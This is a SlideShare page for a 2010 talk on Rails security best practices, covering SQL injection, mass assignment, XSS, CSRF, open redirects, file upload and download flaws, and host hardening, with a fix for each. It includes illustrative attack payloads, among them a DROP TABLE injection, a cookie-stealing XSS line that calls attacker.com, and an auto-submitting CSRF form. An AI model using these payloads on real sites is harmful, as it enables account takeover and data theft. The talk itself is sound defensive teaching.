Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
Rails Security Best
     Practices
     http://ihower.tw
          2010/2
About Me
•           a.k.a. ihower
    • http://ihower.tw
    • http://twitter.com/ihower
    • http://github.com/ihower
•...
75% of attacks are at the
  web application layer
      (By The Gartnet Group estimation)
What is Security?
• a measurement, not a characteristic
  •   not a simple requirement to be met...


• must be balanced w...
Okay, your users are evil,
they will give you illegitimate operation and data.
Agenda
•   Information leaks
•   Session
•   SQL injection
•   Mass assignment
•   Unscoped finds
•   Controller Exposing m...
Information Leaks

• Rails app?
• Web and Application server?
• SVN metadata?
Rails app?
•   Default static files
    •   /javascript/application.js
    •   /stylesheets/application.css
    •   /images...
Web and Application
      Server?
• Server Header
 • apache
 • nginx
 • mongrel
 • mod_rails
Disable Server Header
Server:Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch
Phusion_Passenger/2.2.9




✓ ...
SVN metadata

     • GET http://your_site.org/.svn/entries
     ✓      <DirectoryMatch "^/.*/.svn/">
              ErrorDo...
Sensitive Information
• Do not store sensitive information in the
  clear
  • cookie
  • session(or flash)
  • memory for a...
Filter Log params
    Processing UsersController#create (for 127.0.0.1 at 2009-01-02 10:13:13) [POST]
    Parameters: {"us...
Cookie Session Storage
       # config/initializers/session_store.rb
       ActionController::Base.session = {
         :k...
Session
   The session id is a 32 byte long MD5 hash value.




• Hijacking
• Fixation
 • reset_session after every login
SQL injection
                                              x'; DROP TABLE users; --




Project.find(:all, :conditions =>...
SQL injection
                 vulnerabilities:


• find_by_sql
• execute
• find with conditions in a string
• limit and off...
Always use the hash or
         array form
✓
    Project.find(:all, :conditions => { :name => params[:name] } )
    # or
 ...
Only allow predefine
                  value
    class User < ActiveRecord::Base

✓     def self.find_with_order(order)
   ...
Use quote if you need
   pass it directly
          ActiveRecord::Base::connection.quote


    class User < ActiveRecord::...
Mass assignment

def create
  params[:user] #=> {:name => “ow3ned”, :is_admin => true}
  @user = User.create(params[:user]...
Protect it!

✓   class User < ActiveRecord::Base
        attr_protected :admin
    end

    # or

    class User < ActiveR...
Assign protected
attributes manually
 params[:user] #=> {:name => "ow3ned", :admin => true}
 @user = User.new(params[:user...
Unscoped finds
    class UserOrdersController < ApplicationController

    def show
        @order = Order.find(params[:id]...
Controller Exposing
       methods

• Use protected and private
• If use RESTful design, do not use default
  routes
• htt...
XSS(Cross-Site Scripting)
      malicious users inject client-side script into web pages viewed by other users

<script>al...
XSS Protection (Rails2)

• Use escapeHTML() (or its alias h()) method
• Plugins
 •   http://github.com/nzkoz/rails_xss (fo...
XSS Protection (Rails3)

• Rails 3 auto escape string
• Unless you html_safe! string
Allow user to use
   simple HTML code
• Use white-list sanitize() method
• If you use Textile or Markdown markup
  languag...
CSRF
    Cross-Site Request Forgery




  Use another users’ authorization token to
interact with a web application as the...
CSRF protection (1)

• Use GET request for safe operation such as
  a query, read operation, or lookup
• Use POST request ...
But...
• POST requests can be sent automatically,
  too. An example:
     <a href="http://www.harmless.com/" onclick="
   ...
CSRF protection (2)
protect_from_forgery will check all POST requests for a security token




✓    class ApplicationContr...
Redirection
         Do not allow user to pass (parts of) the URL for redirection directly




       def legacy
         ...
File Uploads: Overwrite

• Make sure file uploads don’t overwrite
  important files. eg. “../../../etc/passwd”
• Validate fil...
File Uploads: Executable
•   never to allow users to upload any extension
    associated with executable content on your
 ...
File downloads
Make sure users cannot download arbitrary files.




send_file('/var/www/uploads/' + params[:filename])
Command Line
  Injection

system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files
denial-of-service
      attacks (DoS)
• Avoid Long-running action, use background-
  processing.
• Use iptables and analyz...
Host
• Platform (Windows, Linux, Solaris, BSDs)
  choosing one which you can trust and familiar


• Firewall
  you can use...
Other issues


• CAPTCHAs
• Good passwords
Conclusion
• Rails has many security features enabled by
  default
  • SQL quoting
  • HTML sanitization
  • CSRF protecti...
Reference
•   Agile Web Development with Rails 3rd. Chap.27 Securing Your Rails Application
    (Pragmatic)
•   Rails2 Cha...
The End
Rails Security
Rails Security
Rails Security
Upcoming SlideShare
Loading in …5
×

Rails Security

17,938 views

Published on

Published in: Technology
  • Login to see the comments

Rails Security

  1. 1. Rails Security Best Practices http://ihower.tw 2010/2
  2. 2. About Me • a.k.a. ihower • http://ihower.tw • http://twitter.com/ihower • http://github.com/ihower • Ruby on Rails Developer since 2006 • Ruby Taiwan Community • http://ruby.tw
  3. 3. 75% of attacks are at the web application layer (By The Gartnet Group estimation)
  4. 4. What is Security? • a measurement, not a characteristic • not a simple requirement to be met... • must be balanced with expense • it’s easy and relatively inexpensive to provide a sufficient level of security for most applications. But if you need more... • must be balanced with usability • it’s often increase security also decrease the user usability... • must be part of the design (from PHP Security Guide: Overview)
  5. 5. Okay, your users are evil, they will give you illegitimate operation and data.
  6. 6. Agenda • Information leaks • Session • SQL injection • Mass assignment • Unscoped finds • Controller Exposing methods • XSS • CSRF • File uploads/download • DoS • Host
  7. 7. Information Leaks • Rails app? • Web and Application server? • SVN metadata?
  8. 8. Rails app? • Default static files • /javascript/application.js • /stylesheets/application.css • /images/ • URL schema • /post/show/3 • /users/5 • 404/500/422 pages
  9. 9. Web and Application Server? • Server Header • apache • nginx • mongrel • mod_rails
  10. 10. Disable Server Header Server:Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch Phusion_Passenger/2.2.9 ✓ # apache2.conf ServerSignature Off ServerTokens Prod Server:Apache
  11. 11. SVN metadata • GET http://your_site.org/.svn/entries ✓ <DirectoryMatch "^/.*/.svn/"> ErrorDocument 403 /404.html Order allow,deny Deny from all Satisfy All </DirectoryMatch> Or just delete it: http://plog.longwin.com.tw/my_note-unix/2008/01/07/find_delete_svn_directory_2008
  12. 12. Sensitive Information • Do not store sensitive information in the clear • cookie • session(or flash) • memory for a long time • log files • cache
  13. 13. Filter Log params Processing UsersController#create (for 127.0.0.1 at 2009-01-02 10:13:13) [POST] Parameters: {"user"=>{"name"=>"eifion", "password_confirmation"=>"secret", "password"=>"secret"}, "commit"=>"Register", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5"} ✓ # Rails 2.x class ApplicationController < ActionController::Base filter_parameter_logging "password" end Processing UsersController#create (for 127.0.0.1 at 2009-01-02 11:02:33) [POST] Parameters: {"user"=>{"name"=>"susan", "password_confirmation"=>"[FILTERED]", "password"=>"[FILTERED]"}, "commit"=>"Register", "action"=>"create", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5", "controller"=>"users"}
  14. 14. Cookie Session Storage # config/initializers/session_store.rb ActionController::Base.session = { :key => '_app_session', :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...' } • Don’t use a trivial secret • Don’t store any secret information here • Or.... just switch to another session storage
  15. 15. Session The session id is a 32 byte long MD5 hash value. • Hijacking • Fixation • reset_session after every login
  16. 16. SQL injection x'; DROP TABLE users; -- Project.find(:all, :conditions => "name = '#{params[:name]}'") SELECT * FROM projects WHERE name = 'x'; DROP TABLE users; --’
  17. 17. SQL injection vulnerabilities: • find_by_sql • execute • find with conditions in a string • limit and offset (before rails 2.1.1) • group_by • order
  18. 18. Always use the hash or array form ✓ Project.find(:all, :conditions => { :name => params[:name] } ) # or Project.find(:all, :conditions => ["name = ?", params[:name] ] )
  19. 19. Only allow predefine value class User < ActiveRecord::Base ✓ def self.find_with_order(order) raise "SQL Injection Warning" unless ["id","id desc"].include?(order) find(:all, :limit => 1, :order => order ) end end
  20. 20. Use quote if you need pass it directly ActiveRecord::Base::connection.quote class User < ActiveRecord::Base ✓ def self.find_with_order(order) find(:all, :order => connection.quote(order) ) end end
  21. 21. Mass assignment def create params[:user] #=> {:name => “ow3ned”, :is_admin => true} @user = User.create(params[:user]) end def update @user = User.update_attributes(params[:user]) end
  22. 22. Protect it! ✓ class User < ActiveRecord::Base attr_protected :admin end # or class User < ActiveRecord::Base attr_accessible :name end
  23. 23. Assign protected attributes manually params[:user] #=> {:name => "ow3ned", :admin => true} @user = User.new(params[:user]) @user.admin #=> false # not mass-assigned @user.admin = true @user.admin #=> true
  24. 24. Unscoped finds class UserOrdersController < ApplicationController def show @order = Order.find(params[:id]) end ✓ def show @order = current_user.orders.find(params[:id] end
  25. 25. Controller Exposing methods • Use protected and private • If use RESTful design, do not use default routes • http://ihower.tw/blog/archives/3265
  26. 26. XSS(Cross-Site Scripting) malicious users inject client-side script into web pages viewed by other users <script>alert('HACK YOU!');</script> <img src=javascript:alert('HACK YOU!')> <table background="javascript:alert('HACK YOU!')"> <script>document.write(document.cookie);</script> <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> • Do not want to build black-list, you can find more at http://ha.ckers.org/xss.html
  27. 27. XSS Protection (Rails2) • Use escapeHTML() (or its alias h()) method • Plugins • http://github.com/nzkoz/rails_xss (for Rails 2.3) • http://agilewebdevelopment.com/plugins/safe_erb • http://code.google.com/p/xss-shield/ (Tainting way)
  28. 28. XSS Protection (Rails3) • Rails 3 auto escape string • Unless you html_safe! string
  29. 29. Allow user to use simple HTML code • Use white-list sanitize() method • If you use Textile or Markdown markup language, you still need sanitize it.
  30. 30. CSRF Cross-Site Request Forgery Use another users’ authorization token to interact with a web application as the trusted user in a malicious way.
  31. 31. CSRF protection (1) • Use GET request for safe operation such as a query, read operation, or lookup • Use POST request for any destructive actions such as create, update, delete
  32. 32. But... • POST requests can be sent automatically, too. An example: <a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a>
  33. 33. CSRF protection (2) protect_from_forgery will check all POST requests for a security token ✓ class ApplicationController < ActionController::Base protect_from_forgery end <form action="/projects/1" class="edit_project" enctype="multipart/form-data" id="edit_project_1" method="post"> <div style="margin:0;padding:0;display:inline"> <input name="_method" type="hidden" value="put" /> <input name="authenticity_token" type="hidden" value="cuI +ljBAcBxcEkv4pbeqLTEnRUb9mUYMgfpkwOtoyiA=" /> </div>
  34. 34. Redirection Do not allow user to pass (parts of) the URL for redirection directly def legacy redirect_to(params.update(:action=>'main')) end http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
  35. 35. File Uploads: Overwrite • Make sure file uploads don’t overwrite important files. eg. “../../../etc/passwd” • Validate file name is simple. Don’t try to remove malicious parts. • Use plugins: attachment_fu or paperclip
  36. 36. File Uploads: Executable • never to allow users to upload any extension associated with executable content on your site (.php, .cgi ...etc) • when user download, set the appropriate Content-Type HTTP header, eliminate the potential for XSS attacks. • or never let these files be not accessible to your web server (outside the DocumentRoot in Apache)
  37. 37. File downloads Make sure users cannot download arbitrary files. send_file('/var/www/uploads/' + params[:filename])
  38. 38. Command Line Injection system("/bin/echo","hello; rm *") # prints "hello; rm *" and does not delete files
  39. 39. denial-of-service attacks (DoS) • Avoid Long-running action, use background- processing. • Use iptables and analyze web server log • Don’t bother your application server • Use Web server provide static files • Use HTTP reverse proxy if need
  40. 40. Host • Platform (Windows, Linux, Solaris, BSDs) choosing one which you can trust and familiar • Firewall you can use nmap tool to show which ports are open • SSH: move port 22 to another • Turn off any services that you aren’t using. • Hire system administrator to help Your time as a developer should be spent on the things your are good at.
  41. 41. Other issues • CAPTCHAs • Good passwords
  42. 42. Conclusion • Rails has many security features enabled by default • SQL quoting • HTML sanitization • CSRF protection
  43. 43. Reference • Agile Web Development with Rails 3rd. Chap.27 Securing Your Rails Application (Pragmatic) • Rails2 Chap.13 Security and Performance Enhancements (friendsof) • Advanced Rails Chap.5 Security (O’Reilly) • Security Audit by Aaron Bedra (Peepcode) • Security on Rails (Pragmatic) • PHP Security Guide • http://blog.innerewut.de/2009/11/3/ruby-en-rails-2009-recap • http://guides.rubyonrails.org/security.html • http://www.rorsecurity.info • http://asciicasts.com/episodes/178-seven-security-tips • http://www.ultrasaurus.com/sarahblog/2010/01/rails-security-review-checklist/ • http://www.quarkruby.com/2007/9/20/ruby-on-rails-security-guide • http://www.owasp.org
  44. 44. The End

×